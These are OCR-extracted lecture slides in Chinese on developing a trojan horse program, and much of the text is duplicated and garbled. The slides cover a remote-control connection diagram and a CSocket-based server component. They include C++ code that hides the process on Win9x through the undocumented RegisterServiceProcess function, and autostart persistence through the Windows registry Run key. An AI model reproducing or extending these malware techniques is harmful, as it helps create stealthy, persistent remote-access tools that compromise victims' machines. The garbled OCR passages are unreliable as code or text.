2木马程序的开发实例 挖制蜡 服 ()立A B 202.102.47.56 (2)联得服办缔① 通过信息反愤我IP扫 得服务器【P地址 (3)木马接建立A中 T626 B 202.102.47.56 ④+202.06.96.101 ①控制蟾IP②木马鳙口③服务蟾鳙口④服帝鳙IP
2 木马程序的开发实例
·编程语言选择 以 CSocket为基类生成 CMySocket类 CMy Socket类的功能是用来使本程序变成 个服务器程序
• 编程语言选择 • 以CSocket为基类生成CMySocket类。 CMySocket类的功能是用来使本程序变成 一个服务器程序
自动隐藏 ∥Win9x隐藏技术 DWORD dw Version GetVersiono ∥得到操作系统的版本号 if (dw Version >=0X80000000 ∥操作系统是Win9x,不是WinN typedef dWORD(CALLBACK* LPREGISTERSERVCEPROCESS)DWORD, DWORD ∥定义 RegisterService Process0函数的原型 HINS TANCE hDLL LPREGISTERSERVCEPROCESS IpRegister Service Process hDLL LoadLibrary (KERnEL32.dll) ∥加载 Register ServiceProcesso函数所在的动态链接库 KERNEL32DLL Register Service Process =(LPREGISTERSERVICEPROCESS) GetProcAddress( hDLL, Register ServiceProcess") ∥|到 RegisterService Process0函数的地址 IpRegister Service Process(GetcurrentProcessldo, 1) ∥|行 RegisterService Process0函数隐藏本进程 FreeLibrary(hDLL ∥卸载动态链接库
自动隐藏 – // Win9x隐藏技术 – DWORD dwVersion = GetVersion(); – // 得到操作系统的版本号 – if (dwVersion >= 0x80000000) – // 操作系统是Win9x,不是WinNt – { – typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD); – //定义RegisterServiceProcess() 函数的原型 – HINSTANCE hDLL; – LPREGISTERSERVICEPROCESS lpRegisterServiceProcess; – hDLL = LoadLibrary("KERNEL32.dll"); – //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL – lpRegisterServiceProcess =(LPREGISTERSERVICEPROCESS)GetProcAddress( – hDLL,"RegisterServiceProcess"); – //得到RegisterServiceProcess()函数的地址 – lpRegisterServiceProcess(GetCurrentProcessId(),1); – //执行RegisterServiceProcess()函数,隐藏本进程 – FreeLibrary(hDLL); – //卸载动态链接库 – }
用 Register Service Process函数 实现后台服务进程 未公开核心函数 Win nt\2K下怎么实现?
• 用RegisterServiceProcess函数 实现后台服务进程。 • 未公开核心函数 • Win NT \ 2K下怎么实现?
自动加载 木马的第一次执行 ·如何实现第一次以后的自动加载? 注册表 ·代码功能: HKLMISoftware Current Version run %System%Tapi32
自动加载 • 木马的第一次执行 • 如何实现第一次以后的自动加载? – 注册表 • 代码功能: – HKLM\\Software\\Microsoft\\Windows\\Current Version\\Run\\ – %System%\\Tapi32